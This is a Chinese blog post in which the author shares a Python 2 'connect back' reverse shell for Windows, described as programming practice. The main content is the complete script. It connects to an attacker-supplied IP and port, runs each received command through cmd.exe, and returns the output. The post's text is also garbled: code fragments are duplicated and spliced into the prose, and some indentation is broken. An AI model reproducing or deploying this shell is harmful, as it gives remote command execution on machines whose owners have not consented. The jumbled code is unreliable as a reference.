python 写的一个反向连接的shell


    sock.close()
    sys.exit(0)
  if data[:-1]=='pwd':
     sock.send(os.getcwd()+'/n')
  fo最近在复习python,顺便写了一个简单的反向shell。。纯粹是为了练笔。。因为python大部分都存在于linux/unix中,在windows中很少有安装python(尤其是服务器,除非web是python写的)。但我这个shell是一个windows的shell,不过稍加一改就可以在linux/unix下运行了。。。

拿出来怕大家笑话,不过对于那些想学python却还犹豫不决的朋友一个直观的印象吧。。。总之python确实可以称得上世界上最棒的脚本语言,我想它的应用会越来越广泛。。。

下面是代码,高手不要笑我了。。(要知道我能厚者脸皮拿出来,也是经过一番撕心裂肺的斗争的~~:——))

_one>
#!/usr/bin/python

import sys
import os
from socket import *
import string

def usage(name):
     print '/t/tPython connect back shell/n/n'
     print '/t/t     superlone@EST/n/n'
     print 'Usage:/n/t %s <connect back ip> <connect back port>/n' % name

if len(sys.argv)==1 or len(sys.argv)>3:
     usage(sys.argv[0])
     sys.exit(0)

conIP=sys.argv[1]
conPort=int(sys.argv[2])
welcome='/t/t[welcome to the way home]/n'

try:
    sock=socket(AF_INET,SOCK_STREAM)
    sock.connect((conIP,conPort))
except:
  print '[-]Socket Error!/n'
  sys.exit(0)

sock.send(welcome)
prompt='superlone>'
while 1:
  sock.send(prompt)
  while 1:
    data=sock.recv(1024)
    if data:break
  if data[:-1]=='exit':
     sock.send('bye bye')
    sock.close()
    sys.exit(0)
  if data[:-1]=='pwd':
     sock.send(os.getcwd()+'/n')
  for i in range(len(data.split())):
     if 'cd' in data.split():
           try:
                 os.chdir(data.split()[i+1])
           except:
                 sock.send('dir change failed!/n')

  rpipe=os.popen('cmd.exe /c '+data[:-1])
  sdata=rpipe.read()
  rpipe.close()
  sock.send(sdata)
r i in range(len(data.split())):
     if 'cd' in data.split():
           try:
                 os.chdir(data.split()[i+1])
           except:
                 sock.send('dir change failed!/n')

  rpipe=os.popen('cmd.exe /c '+data[:-1])
  sdata=rpipe.read()
  rpipe.close()
  sock.send(sdata)

#!/usr/bin/python

import sys
import os
from socket import *
import string

def usage(name):
     print '/t/tPython connect back shell/n/n'
     print '/t/t     superlone@EST/n/n'
     print 'Usage:/n/t %s <connect back ip> <connect back port>/n' % name

if len(sys.argv)==1 or len(sys.argv)>3:
     usage(sys.argv[0])
     sys.exit(0)

conIP=sys.argv[1]
conPort=int(sys.argv[2])
welcome='/t/t[welcome to the way home]/n'

=os.popen('cmd.exe /c '+data[:-1])
  sdata=rpipe.read()
  rpipe.close()
  sock.send(sdata)
  • 2
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值